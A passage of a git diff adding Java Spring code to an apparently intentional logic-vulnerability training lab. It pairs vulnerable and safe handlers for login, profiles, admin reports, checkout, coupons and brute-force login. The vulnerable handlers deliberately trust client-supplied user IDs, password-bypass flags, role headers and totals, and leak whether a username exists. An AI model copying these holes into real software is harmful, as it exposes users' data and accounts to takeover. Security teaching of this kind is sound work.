actingUserId; + } + + public void setActingUserId(Long actingUserId) { + this.actingUserId = actingUserId; + } + + public String getAction() { + return action; + } + + public void setAction(String action) { + this.action = action; + } + + public String getTargetStatus() { + return targetStatus; + } + + public void setTargetStatus(String targetStatus) { + this.targetStatus = targetStatus; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/OversellRequest.java b/logic_vul/src/main/java/com/myapp/model/OversellRequest.java new file mode 100644 index 0000000..dc776a6 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/OversellRequest.java @@ -0,0 +1,40 @@ +package com.myapp.model; + +public class OversellRequest { + private Long actingUserId; + private String skuCode; + private Integer purchaseQuantity; + private Integer parallelRequests; + + public Long getActingUserId() { + return actingUserId; + } + + public void setActingUserId(Long actingUserId) { + this.actingUserId = actingUserId; + } + + public String getSkuCode() { + return skuCode; + } + + public void setSkuCode(String skuCode) { + this.skuCode = skuCode; + } + + public Integer getPurchaseQuantity() { + return purchaseQuantity; + } + + public void setPurchaseQuantity(Integer purchaseQuantity) { + this.purchaseQuantity = purchaseQuantity; + } + + public Integer getParallelRequests() { + return parallelRequests; + } + + public void setParallelRequests(Integer parallelRequests) { + this.parallelRequests = parallelRequests; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/PasswordResetConfirmRequest.java b/logic_vul/src/main/java/com/myapp/model/PasswordResetConfirmRequest.java new file mode 100644 index 0000000..d009f5e --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/PasswordResetConfirmRequest.java @@ -0,0 +1,31 @@ +package com.myapp.model; + +public class PasswordResetConfirmRequest { + private String token; + private String targetUsername; + private String newPassword; + + public String getToken() { + return token; + } + + public void setToken(String token) { + this.token = token; + } + + public String getTargetUsername() { + return targetUsername; + } + + public void setTargetUsername(String targetUsername) { + this.targetUsername = targetUsername; + } + + public String getNewPassword() { + return newPassword; + } + + public void setNewPassword(String newPassword) { + this.newPassword = newPassword; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/PasswordResetSendRequest.java b/logic_vul/src/main/java/com/myapp/model/PasswordResetSendRequest.java new file mode 100644 index 0000000..8726030 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/PasswordResetSendRequest.java @@ -0,0 +1,13 @@ +package com.myapp.model; + +public class PasswordResetSendRequest { + private String username; + + public String getUsername() { + return username; + } + + public void setUsername(String username) { + this.username = username; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/PaymentCallbackRequest.java b/logic_vul/src/main/java/com/myapp/model/PaymentCallbackRequest.java new file mode 100644 index 0000000..f1330e4 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/PaymentCallbackRequest.java @@ -0,0 +1,49 @@ +package com.myapp.model; + +public class PaymentCallbackRequest { + private String orderNumber; + private Double amount; + private String status; + private String merchantId; + private String sign; + + public String getOrderNumber() { + return orderNumber; + } + + public void setOrderNumber(String orderNumber) { + this.orderNumber = orderNumber; + } + + public Double getAmount() { + return amount; + } + + public void setAmount(Double amount) { + this.amount = amount; + } + + public String getStatus() { + return status; + } + + public void setStatus(String status) { + this.status = status; + } + + public String getMerchantId() { + return merchantId; + } + + public void setMerchantId(String merchantId) { + this.merchantId = merchantId; + } + + public String getSign() { + return sign; + } + + public void setSign(String sign) { + this.sign = sign; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/PersonalProfile.java b/logic_vul/src/main/java/com/myapp/model/PersonalProfile.java new file mode 100644 index 0000000..a427c37 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/PersonalProfile.java @@ -0,0 +1,80 @@ +package com.myapp.model; + +public class PersonalProfile { + private Long id; + private Long ownerUserId; + private String name; + private String phoneNumber; + private String email; + private String address; + private String idNumber; + + public PersonalProfile() { + } + + public PersonalProfile(Long id, Long ownerUserId, String name, String phoneNumber, String email, String address, String idNumber) { + this.id = id; + this.ownerUserId = ownerUserId; + this.name = name; + this.phoneNumber = phoneNumber; + this.email = email; + this.address = address; + this.idNumber = idNumber; + } + + public Long getId() { + return id; + } + + public void setId(Long id) { + this.id = id; + } + + public Long getOwnerUserId() { + return ownerUserId; + } + + public void setOwnerUserId(Long ownerUserId) { + this.ownerUserId = ownerUserId; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getPhoneNumber() { + return phoneNumber; + } + + public void setPhoneNumber(String phoneNumber) { + this.phoneNumber = phoneNumber; + } + + public String getEmail() { + return email; + } + + public void setEmail(String email) { + this.email = email; + } + + public String getAddress() { + return address; + } + + public void setAddress(String address) { + this.address = address; + } + + public String getIdNumber() { + return idNumber; + } + + public void setIdNumber(String idNumber) { + this.idNumber = idNumber; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/RefundRequest.java b/logic_vul/src/main/java/com/myapp/model/RefundRequest.java new file mode 100644 index 0000000..9c619d3 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/RefundRequest.java @@ -0,0 +1,40 @@ +package com.myapp.model; + +public class RefundRequest { + private Long actingUserId; + private Double refundAmount; + private String reason; + private String idempotencyKey; + + public Long getActingUserId() { + return actingUserId; + } + + public void setActingUserId(Long actingUserId) { + this.actingUserId = actingUserId; + } + + public Double getRefundAmount() { + return refundAmount; + } + + public void setRefundAmount(Double refundAmount) { + this.refundAmount = refundAmount; + } + + public String getReason() { + return reason; + } + + public void setReason(String reason) { + this.reason = reason; + } + + public String getIdempotencyKey() { + return idempotencyKey; + } + + public void setIdempotencyKey(String idempotencyKey) { + this.idempotencyKey = idempotencyKey; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/SmsSendRequest.java b/logic_vul/src/main/java/com/myapp/model/SmsSendRequest.java new file mode 100644 index 0000000..a61672d --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/SmsSendRequest.java @@ -0,0 +1,13 @@ +package com.myapp.model; + +public class SmsSendRequest { + private String phoneNumber; + + public String getPhoneNumber() { + return phoneNumber; + } + + public void setPhoneNumber(String phoneNumber) { + this.phoneNumber = phoneNumber; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/SmsVerifyRequest.java b/logic_vul/src/main/java/com/myapp/model/SmsVerifyRequest.java new file mode 100644 index 0000000..03b730d --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/SmsVerifyRequest.java @@ -0,0 +1,22 @@ +package com.myapp.model; + +public class SmsVerifyRequest { + private String phoneNumber; + private String smsCode; + + public String getPhoneNumber() { + return phoneNumber; + } + + public void setPhoneNumber(String phoneNumber) { + this.phoneNumber = phoneNumber; + } + + public String getSmsCode() { + return smsCode; + } + + public void setSmsCode(String smsCode) { + this.smsCode = smsCode; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/UserAccount.java b/logic_vul/src/main/java/com/myapp/model/UserAccount.java new file mode 100644 index 0000000..e630f6d --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/UserAccount.java @@ -0,0 +1,70 @@ +package com.myapp.model; + +public class UserAccount { + private Long id; + private String username; + private String password; + private String role; + private String displayName; + private String email; + + public UserAccount() { + } + + public UserAccount(Long id, String username, String password, String role, String displayName, String email) { + this.id = id; + this.username = username; + this.password = password; + this.role = role; + this.displayName = displayName; + this.email = email; + } + + public Long getId() { + return id; + } + + public void setId(Long id) { + this.id = id; + } + + public String getUsername() { + return username; + } + + public void setUsername(String username) { + this.username = username; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + public String getRole() { + return role; + } + + public void setRole(String role) { + this.role = role; + } + + public String getDisplayName() { + return displayName; + } + + public void setDisplayName(String displayName) { + this.displayName = displayName; + } + + public String getEmail() { + return email; + } + + public void setEmail(String email) { + this.email = email; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/WalletRefundRequest.java b/logic_vul/src/main/java/com/myapp/model/WalletRefundRequest.java new file mode 100644 index 0000000..5d00af2 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/WalletRefundRequest.java @@ -0,0 +1,31 @@ +package com.myapp.model; + +public class WalletRefundRequest { + private Long actingUserId; + private Double refundAmount; + private String idempotencyKey; + + public Long getActingUserId() { + return actingUserId; + } + + public void setActingUserId(Long actingUserId) { + this.actingUserId = actingUserId; + } + + public Double getRefundAmount() { + return refundAmount; + } + + public void setRefundAmount(Double refundAmount) { + this.refundAmount = refundAmount; + } + + public String getIdempotencyKey() { + return idempotencyKey; + } + + public void setIdempotencyKey(String idempotencyKey) { + this.idempotencyKey = idempotencyKey; + } +} diff --git a/logic_vul/src/main/java/com/myapp/service/BruteForceLabService.java b/logic_vul/src/main/java/com/myapp/service/BruteForceLabService.java new file mode 100644 index 0000000..04ca57c --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/service/BruteForceLabService.java @@ -0,0 +1,344 @@ +package com.myapp.service; + +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.jdbc.core.RowMapper; +import org.springframework.stereotype.Service; + +import java.security.SecureRandom; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.UUID; +import java.util.concurrent.ConcurrentHashMap; + +@Service +public class BruteForceLabService { + private static final String CAPTCHA_ALPHABET = "23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz"; + private static final String WEAK_PASSWORD_DICTIONARY = "123456, password, qwerty, admin123, guest, root123"; + private static final long CAPTCHA_TTL_MILLIS = 2 * 60 * 1000L; + private static final int SAFE_MAX_FAILURES = 5; + private static final long SAFE_LOCK_MILLIS = 60 * 1000L; + + private static final RowMapper USER_ROW_MAPPER = new RowMapper() { + @Override + public WeakUserRecord mapRow(ResultSet rs, int rowNum) throws SQLException { + return new WeakUserRecord( + rs.getLong("id"), + rs.getString("username"), + rs.getString("password"), + rs.getString("display_name"), + rs.getString("role") + ); + } + }; + + private final JdbcTemplate jdbcTemplate; + private final SecureRandom random = new SecureRandom(); + private final Map vulnerableAttemptCounter = new ConcurrentHashMap(); + private final Map safeAttemptCounter = new ConcurrentHashMap(); + private final Map captchaChallenges = new ConcurrentHashMap(); + private final Map safeLoginGuards = new ConcurrentHashMap(); + + public BruteForceLabService(JdbcTemplate jdbcTemplate) { + this.jdbcTemplate = jdbcTemplate; + } + + public Map vulnerableHints() { + Map data = new LinkedHashMap(); + data.put("storage", "SQLite: ./logic_vul.db -> brute_force_users"); + data.put("usernames", usernames()); + data.put("dictionary", WEAK_PASSWORD_DICTIONARY); + data.put("warning", "漏洞版没有图形验证码、失败锁定、冷却时间和统一错误提示"); + return data; + } + + public Map vulnerableLogin(String username, String password) { + String normalizedUsername = normalize(username); + int attemptCount = increaseCounter(vulnerableAttemptCounter, normalizedUsername); + WeakUserRecord user = findByUsername(normalizedUsername); + if (user == null) { + Map data = new LinkedHashMap(); + data.put("success", false); + data.put("mode", "vulnerable"); + data.put("attemptCount", attemptCount); + data.put("message", "用户名不存在"); + data.put("hint", "接口会区分用户名不存在和密码错误,容易被做用户名枚举"); + return data; + } + if (!user.password.equals(password)) { + Map data = new LinkedHashMap(); + data.put("success", false); + data.put("mode", "vulnerable"); + data.put("attemptCount", attemptCount); + data.put("message", "密码错误"); + data.put("user", sanitize(user)); + data.put("hint", "没有验证码和锁定策略,可以继续尝试常见弱口令"); + return data; + } + + Map data = new LinkedHashMap(); + data.put("success", true); + data.put("mode", "vulnerable"); + data.put("attemptCount", attemptCount); + data.put("message", "登录成功:命中 SQLite 中的弱口令账号"); + data.put("user", sanitize(user)); + data.put("warning", "这是登录爆破演示页面,请勿在真实系统保留这种配置"); + return data; + } + + public Map createCaptcha() { + cleanupExpiredCaptchas(); + String token = UUID.randomUUID().toString().replace("-", ""); + String code = randomCode(5); + captchaChallenges.put(token, new CaptchaChallenge(code, System.currentTimeMillis() + CAPTCHA_TTL_MILLIS)); + + Map data = new LinkedHashMap(); + data.put("captchaToken", token); + data.put("expiresInSeconds", CAPTCHA_TTL_MILLIS / 1000); + data.put("imageUrl", "/auth/bruteforce-safe/captcha/image?token=" + token); + data.put("rule", "验证码由数字和字母组成,单次有效"); + return data; + } + + public String captchaSvg(String token) { + cleanupExpiredCaptchas(); + CaptchaChallenge challenge = captchaChallenges.get(token); + if (challenge == null || challenge.expiresAt < System.currentTimeMillis()) { + return renderSvg("EXPRD"); + } + return renderSvg(challenge.code); + } + + public Map safeLogin(String username, String password, String captchaToken, String captchaCode) { + String normalizedUsername = normalize(username); + cleanupExpiredCaptchas(); + + LoginGuard guard = getGuard(normalizedUsername); + long lockedSeconds = guard.lockedSeconds(); + if (lockedSeconds > 0) { + Map data = new LinkedHashMap(); + data.put("success", false); + data.put("mode", "captcha-protected"); + data.put("message", "失败次数过多,账号已被临时锁定"); + data.put("lockedSeconds", lockedSeconds); + data.put("captchaRequired", true); + return data; + } + + if (!verifyCaptcha(captchaToken, captchaCode)) { + Map data = new LinkedHashMap(); + data.put("success", false); + data.put("mode", "captcha-protected"); + data.put("message", "用户名、密码或验证码错误"); + data.put("captchaRequired", true); + return data; + } + + int attemptCount = increaseCounter(safeAttemptCounter, normalizedUsername); + WeakUserRecord user = findByUsername(normalizedUsername); + if (user == null || !user.password.equals(password)) { + int failures = guard.recordFailure(); + Map data = new LinkedHashMap(); + data.put("success", false); + data.put("mode", "captcha-protected"); + data.put("attemptCount", attemptCount); + data.put("message", "用户名、密码或验证码错误"); + data.put("remainingBeforeLock", Math.max(0, SAFE_MAX_FAILURES - failures)); + if (guard.lockedSeconds() > 0) { + data.put("lockedSeconds", guard.lockedSeconds()); + } + data.put("hint", "安全版统一错误提示,并要求每次都提交图形验证码"); + return data; + } + + guard.reset(); + Map data = new LinkedHashMap(); + data.put("success", true); + data.put("mode", "captcha-protected"); + data.put("attemptCount", attemptCount); + data.put("message", "登录成功:已通过图形验证码与口令校验"); + data.put("user", sanitize(user)); + data.put("defense", "图形验证码 + 统一错误提示 + 临时锁定"); + return data; + } + + private boolean verifyCaptcha(String token, String inputCode) { + if (blank(token) || blank(inputCode)) { + return false; + } + CaptchaChallenge challenge = captchaChallenges.remove(token); + if (challenge == null || challenge.expiresAt < System.currentTimeMillis()) { + return false; + } + return challenge.code.equalsIgnoreCase(inputCode.trim()); + } + + private List> usernames() { + List> items = new ArrayList>(); + List rows = jdbcTemplate.query( + "SELECT id, username, password, display_name, role FROM brute_force_users WHERE enabled = 1 ORDER BY id", + USER_ROW_MAPPER + ); + for (WeakUserRecord row : rows) { + Map item = new LinkedHashMap(); + item.put("username", row.username); + item.put("displayName", row.displayName); + item.put("role", row.role); + items.add(item); + } + return items; + } + + private WeakUserRecord findByUsername(String username) { + if (blank(username)) { + return null; + } + List rows = jdbcTemplate.query( + "SELECT id, username, password, display_name, role FROM brute_force_users WHERE enabled = 1 AND username = ?", + USER_ROW_MAPPER, + username + ); + return rows.isEmpty() ? null : rows.get(0); + } + + private Map sanitize(WeakUserRecord user) { + Map data = new LinkedHashMap(); + data.put("id", user.id); + data.put("username", user.username); + data.put("displayName", user.displayName); + data.put("role", user.role); + return data; + } + + private String renderSvg(String code) { + StringBuilder svg = new StringBuilder(); + svg.append(""); + svg.append(""); + for (int i = 0; i < 6; i++) { + svg.append(""); + } + for (int i = 0; i < code.length(); i++) { + int x = 20 + i * 30; + int y = 40 + random.nextInt(12); + int rotate = random.nextInt(31) - 15; + svg.append("") + .append(code.charAt(i)) + .append(""); + } + for (int i = 0; i < 18; i++) { + svg.append(""); + } + svg.append(""); + return svg.toString(); + } + + private String randomCode(int length) { + StringBuilder builder = new StringBuilder(); + for (int i = 0; i < length; i++) { + builder.append(CAPTCHA_ALPHABET.charAt(random.nextInt(CAPTCHA_ALPHABET.length()))); + } + return builder.toString(); + } + + private String randomColor() { + return String.format("#%02x%02x%02x", 40 + random.nextInt(140), 40 + random.nextInt(140), 40 + random.nextInt(140)); + } + + private LoginGuard getGuard(String username) { + return safeLoginGuards.computeIfAbsent(blank(username) ? "anonymous" : username, ignored -> new LoginGuard()); + } + + private int increaseCounter(Map counterMap, String key) { + String normalizedKey = blank(key) ? "anonymous" : key; + int next = counterMap.containsKey(normalizedKey) ? counterMap.get(normalizedKey) + 1 : 1; + counterMap.put(normalizedKey, next); + return next; + } + + private void cleanupExpiredCaptchas() { + long now = System.currentTimeMillis(); + List expiredTokens = new ArrayList(); + for (Map.Entry entry : captchaChallenges.entrySet()) { + if (entry.getValue().expiresAt < now) { + expiredTokens.add(entry.getKey()); + } + } + for (String expiredToken : expiredTokens) { + captchaChallenges.remove(expiredToken); + } + } + + private String normalize(String value) { + return value == null ? "" : value.trim(); + } + + private boolean blank(String value) { + return value == null || value.trim().isEmpty(); + } + + private static final class WeakUserRecord { + private final Long id; + private final String username; + private final String password; + private final String displayName; + private final String role; + + private WeakUserRecord(Long id, String username, String password, String displayName, String role) { + this.id = id; + this.username = username; + this.password = password; + this.displayName = displayName; + this.role = role; + } + } + + private static final class CaptchaChallenge { + private final String code; + private final long expiresAt; + + private CaptchaChallenge(String code, long expiresAt) { + this.code = code; + this.expiresAt = expiresAt; + } + } + + private static final class LoginGuard { + private int failures; + private long lockedUntil; + + private int recordFailure() { + long now = System.currentTimeMillis(); + if (lockedUntil > now) { + return failures; + } + if (lockedUntil != 0L && lockedUntil <= now) { + failures = 0; + lockedUntil = 0L; + } + failures++; + if (failures >= SAFE_MAX_FAILURES) { + lockedUntil = now + SAFE_LOCK_MILLIS; + } + return failures; + } + + private long lockedSeconds() { + long remain = lockedUntil - System.currentTimeMillis(); + return remain <= 0 ? 0 : (remain + 999) / 1000; + } + + private void reset() { + failures = 0; + lockedUntil = 0L; + } + } +} diff --git a/logic_vul/src/main/java/com/myapp/service/LogicVulService.java b/logic_vul/src/main/java/com/myapp/service/LogicVulService.java new file mode 100644 index 0000000..8c1a9e7 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/service/LogicVulService.java @@ -0,0 +1,1677 @@ +package com.myapp.service; + +import com.myapp.model.ApprovalRequest; +import com.myapp.model.CheckoutRequest; +import com.myapp.model.CouponRedeemRequest; +import com.myapp.model.DebugBypassRequest; +import com.myapp.model.DiscountCalcRequest; +import com.myapp.model.LoginRequest; +import com.myapp.model.NegativeAmountRequest; +import com.myapp.model.OrderRecord; +import com.myapp.model.OrderStateChangeRequest; +import com.myapp.model.OversellRequest; +import com.myapp.model.PaymentCallbackRequest; +import com.myapp.model.PasswordResetConfirmRequest; +import com.myapp.model.PasswordResetSendRequest; +import com.myapp.model.PersonalProfile; +import com.myapp.model.RefundRequest; +import com.myapp.model.SmsSendRequest; +import com.myapp.model.SmsVerifyRequest; +import com.myapp.model.UserAccount; +import com.myapp.model.WalletRefundRequest; +import org.springframework.stereotype.Service; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashSet; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.Random; +import java.util.Set; +import java.util.UUID; + +@Service +public class LogicVulService { + private final Map users = new LinkedHashMap(); + private final Map profiles = new LinkedHashMap(); + private final Map orders = new LinkedHashMap(); + private final Map tokens = new LinkedHashMap(); + + private final Map smsChallengesSafe = new LinkedHashMap(); + private final Map smsChallengesVul = new LinkedHashMap(); + private final List vulIssuedCodes = new ArrayList(); + private final Map smsSendCounterVul = new LinkedHashMap(); + private final Map smsSendCounterSafe = new LinkedHashMap(); + + private final Map coupons = new LinkedHashMap(); + private final Map refundLedgers = new LinkedHashMap(); + private final Map resetAccounts = new LinkedHashMap(); + private final Map resetTokensVul = new LinkedHashMap(); + private final Map resetTokensSafe = new LinkedHashMap(); + private final Map approvalTasks = new LinkedHashMap(); + private final Map workflowOrders = new LinkedHashMap(); + private final Map inventoryStocks = new LinkedHashMap(); + private final Map walletAccounts = new LinkedHashMap(); + private final Map walletOrders = new LinkedHashMap(); + private final Map paymentOrders = new LinkedHashMap(); + private DebugTaskRecord debugTask; + + private final Random random = new Random(); + + public LogicVulService() { + seedUsers(); + seedProfiles(); + seedOrders(); + seedCoupons(); + seedRefunds(); + seedResetAccounts(); + seedApprovalTasks(); + seedWorkflowOrders(); + seedInventoryStocks(); + seedWalletAccounts(); + seedWalletOrders(); + seedPaymentOrders(); + seedDebugTask(); + } + + private void seedUsers() { + users.put(21L, new UserAccount(21L, "jefferey.krajcik", "dbd9dv0k19z0mqy", "USER", "胡绍齐", "hu.shaoqi@example.com")); + users.put(23L, new UserAccount(23L, "man.hackett", "oikihbi4xb", "USER", "金天翼", "jin.tianyi@example.com")); + users.put(27L, new UserAccount(27L, "frances.goldner", "3jwl2i3t6", "USER", "韩雨宁", "han.yuning@example.com")); + users.put(29L, new UserAccount(29L, "yon.tremblay", "wyu3bxp4pc865s", "ADMIN", "贺修远", "he.xiuyuan@example.com")); + } + + private void seedProfiles() { + profiles.put(1L, new PersonalProfile(1L, 21L, "胡绍齐", "17365375549", "hu.shaoqi@example.com", "深圳市南山区科技园 8 号", "482867199511218036")); + profiles.put(2L, new PersonalProfile(2L, 23L, "金天翼", "13078470040", "jin.tianyi@example.com", "长春市朝阳区人民大街 43716 号", "742462200007129678")); + profiles.put(3L, new PersonalProfile(3L, 27L, "韩雨宁", "15134299958", "han.yuning@example.com", "福州市鼓楼区软件大道 3 号", "346626200606101210")); + profiles.put(4L, new PersonalProfile(4L, 29L, "贺修远", "15933988032", "he.xiuyuan@example.com", "贵阳市观山湖区会展路 338 号", "455866198905095417")); + } + + private void seedOrders() { + orders.put(5001L, new OrderRecord(5001L, "0526348562", 27L, "年度会员课程", 2, 99.90, "CREATED", true)); + orders.put(5002L, new OrderRecord(5002L, "0198213310", 23L, "企业分析报告", 1, 299.00, "CREATED", false)); + orders.put(5003L, new OrderRecord(5003L, "0515374436", 21L, "限时优惠券礼包", 3, 19.90, "PAID", true)); + } + + private void seedCoupons() { + coupons.put("WELCOME-100", new CouponRecord("WELCOME-100", 100.0, 1)); + coupons.put("VIP-50", new CouponRecord("VIP-50", 50.0, 2)); + } + + private void seedRefunds() { + refundLedgers.put(5001L, new RefundLedger(5001L, 0.0)); + refundLedgers.put(5003L, new RefundLedger(5003L, 0.0)); + } + + private void seedResetAccounts() { + resetAccounts.put("portal.alice", new ResetAccount("portal.alice", "Alice", "alice-reset-1")); + resetAccounts.put("portal.bob", new ResetAccount("portal.bob", "Bob", "bob-reset-1")); + } + + private void seedApprovalTasks() { + approvalTasks.put(9001L, new ApprovalTaskRecord(9001L, "采购合同审批", 27L, "DRAFT", new ArrayList())); + approvalTasks.put(9002L, new ApprovalTaskRecord(9002L, "市场预算审批", 23L, "PENDING_MANAGER", new ArrayList())); + } + + private void seedWorkflowOrders() { + workflowOrders.put(8001L, new WorkflowOrderRecord(8001L, "WF-8001", 27L, "CREATED")); + workflowOrders.put(8002L, new WorkflowOrderRecord(8002L, "WF-8002", 23L, "PAID")); + } + + private void seedInventoryStocks() { + inventoryStocks.put("SKU-IPHONE-15", new InventoryRecord("SKU-IPHONE-15", "手机抢购库存", 3)); + inventoryStocks.put("SKU-VIP-COURSE", new InventoryRecord("SKU-VIP-COURSE", "会员课程名额", 1)); + } + + private void seedWalletAccounts() { + walletAccounts.put(21L, new WalletAccountRecord(21L, 320.00)); + walletAccounts.put(23L, new WalletAccountRecord(23L, 500.00)); + walletAccounts.put(27L, new WalletAccountRecord(27L, 260.00)); + } + + private void seedWalletOrders() { + walletOrders.put(9101L, new WalletOrderRecord(9101L, "WAL-9101", 27L, 88.00, false)); + walletOrders.put(9102L, new WalletOrderRecord(9102L, "WAL-9102", 21L, 66.00, true)); + } + + private void seedPaymentOrders() { + paymentOrders.put("PAY-5001", new PaymentOrderRecord("PAY-5001", 99.90, "INIT", "MCH-LOGIC-001")); + paymentOrders.put("PAY-5002", new PaymentOrderRecord("PAY-5002", 299.00, "INIT", "MCH-LOGIC-001")); + } + + private void seedDebugTask() { + debugTask = new DebugTaskRecord(7001L, "高风险提现审批", "PENDING_AUDIT"); + } + + public Map loginVulnerable(LoginRequest request) { + if (request == null) { + return message("请求体不能为空"); + } + + UserAccount acting; + String reason; + if (request.getDebugUserId() != null) { + acting = users.get(request.getDebugUserId()); + if (acting == null) { + return message("debugUserId 对应的用户不存在"); + } + reason = "服务端信任了客户端传入的 debugUserId"; + } else { + acting = findByUsername(request.getUsername()); + if (acting == null) { + return message("用户不存在"); + } + if (Boolean.TRUE.equals(request.getBypassPassword())) { + reason = "服务端信任了 bypassPassword=true"; + } else if (acting.getPassword().equals(request.getPassword())) { + reason = "用户名和密码匹配"; + } else { + return message("密码错误;如果传 bypassPassword=true 仍可进入"); + } + } + + return tokenResponse(acting, issueToken(acting.getId()), reason, true); + } + + public Map loginSafe(LoginRequest request) { + if (request == null) { + return message("请求体不能为空"); + } + UserAccount acting = findByUsername(request.getUsername()); + if (acting == null || !acting.getPassword().equals(request.getPassword())) { + return message("用户名或密码错误"); + } + return tokenResponse(acting, issueToken(acting.getId()), "服务端完成了正常账号口令校验", false); + } + + public Map whoAmI(String token) { + UserAccount user = requireToken(token); + if (user == null) { + return message("token 无效,请先调用 /auth/login-safe"); + } + Map data = new LinkedHashMap(); + data.put("user", sanitizeUser(user)); + data.put("token", token); + return data; + } + + public Map profileVulnerable(Long profileId, Long actingUserId) { + PersonalProfile profile = profiles.get(profileId); + if (profile == null) { + return message("资料不存在"); + } + UserAccount acting = users.get(actingUserId); + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("viewerUserId", actingUserId); + data.put("viewerName", acting == null ? "匿名用户" : acting.getDisplayName()); + data.put("profile", profile); + data.put("warning", "服务端只信任 actingUserId,没有校验资料归属"); + return data; + } + + public Map profileSafe(Long profileId, String token) { + PersonalProfile profile = profiles.get(profileId); + UserAccount acting = requireToken(token); + if (profile == null) { + return message("资料不存在"); + } + if (acting == null) { + return message("token 无效"); + } + if (!acting.getId().equals(profile.getOwnerUserId()) && !"ADMIN".equals(acting.getRole())) { + return message("无权查看其他用户资料"); + } + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("viewer", sanitizeUser(acting)); + data.put("profile", profile); + return data; + } + + public Map adminReportVulnerable(Long actingUserId, String roleFromClient) { + if (!"ADMIN".equalsIgnoreCase(defaultString(roleFromClient)) && !"管理员".equals(roleFromClient)) { + return message("把 X-Client-Role 改成 ADMIN 或 管理员 就能看到报表"); + } + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("actingUserId", actingUserId); + data.put("roleSource", roleFromClient); + data.put("report", buildAdminReport()); + data.put("warning", "服务端信任了客户端可控的角色头"); + return data; + } + + public Map adminReportSafe(String token) { + UserAccount acting = requireToken(token); + if (acting == null) { + return message("token 无效"); + } + if (!"ADMIN".equals(acting.getRole())) { + return message("仅管理员可访问报表"); + } + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("viewer", sanitizeUser(acting)); + data.put("report", buildAdminReport()); + return data; + } + + public Map checkoutVulnerable(Long orderId, Long actingUserId, CheckoutRequest request) { + OrderRecord order = orders.get(orderId); + if (order == null) { + return message("订单不存在"); + } + if (request == null) { + request = new CheckoutRequest(); + } + + double charged = request.getClientTotal() == null ? order.serverTotal() : request.getClientTotal().doubleValue(); + if (Boolean.TRUE.equals(request.getMarkAsPaid())) { + order.setStatus("PAID"); + } + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("actingUserId", actingUserId); + data.put("order", order); + data.put("serverTotal", money(order.serverTotal())); + data.put("chargedTotal", money(charged)); + data.put("skipInventoryCheck", Boolean.TRUE.equals(request.getSkipInventoryCheck())); + data.put("paymentReference", request.getPaymentReference()); + data.put("warning", "服务端未校验订单归属,且信任 clientTotal / markAsPaid / skipInventoryCheck"); + return data; + } + + public Map checkoutSafe(Long orderId, String token, CheckoutRequest request) { + OrderRecord order = orders.get(orderId); + UserAccount acting = requireToken(token); + if (order == null) { + return message("订单不存在"); + } + if (acting == null) { + return message("token 无效"); + } + if (!acting.getId().equals(order.getOwnerUserId())) { + return message("不能操作别人的订单"); + } + if (!order.isInventoryLocked()) { + return message("库存尚未锁定,不能直接结算"); + } + if (request == null || blank(request.getPaymentReference())) { + return message("缺少支付流水号"); + } + + order.setStatus("PAID"); + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("viewer", sanitizeUser(acting)); + data.put("order", order); + data.put("chargedTotal", money(order.serverTotal())); + data.put("paymentReference", request.getPaymentReference()); + data.put("message", "服务端使用了订单真实金额,并校验了归属与库存状态"); + return data; + } + + public Map couponRedeemVulnerable(CouponRedeemRequest request) { + if (request == null || blank(request.getCouponCode())) { + return message("couponCode 不能为空"); + } + CouponRecord coupon = coupons.get(request.getCouponCode()); + if (coupon == null) { + return message("优惠券不存在"); + } + if (coupon.remaining <= 0) { + return message("优惠券额度已耗尽"); + } + + int requestedCount = request.getRedemptionCount() == null || request.getRedemptionCount().intValue() <= 0 + ? 1 : request.getRedemptionCount().intValue(); + int snapshotRemaining = coupon.remaining; + coupon.remaining = Math.max(0, coupon.remaining - 1); + + double orderAmount = request.getOrderAmount() == null ? 299.0 : request.getOrderAmount().doubleValue(); + double totalDiscount = coupon.discountAmount * requestedCount; + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("actingUserId", request.getActingUserId()); + data.put("couponCode", coupon.code); + data.put("snapshotRemaining", snapshotRemaining); + data.put("decrementedRemaining", coupon.remaining); + data.put("redeemedCount", requestedCount); + data.put("orderAmount", money(orderAmount)); + data.put("finalAmount", money(Math.max(0.0, orderAmount - totalDiscount))); + data.put("warning", "服务端信任 redemptionCount,一次性优惠券可以被并发或重复核销"); + return data; + } + + public Map couponRedeemSafe(CouponRedeemRequest request, String token) { + UserAccount acting = requireToken(token); + if (acting == null) { + return message("token 无效"); + } + if (request == null || blank(request.getCouponCode())) { + return message("couponCode 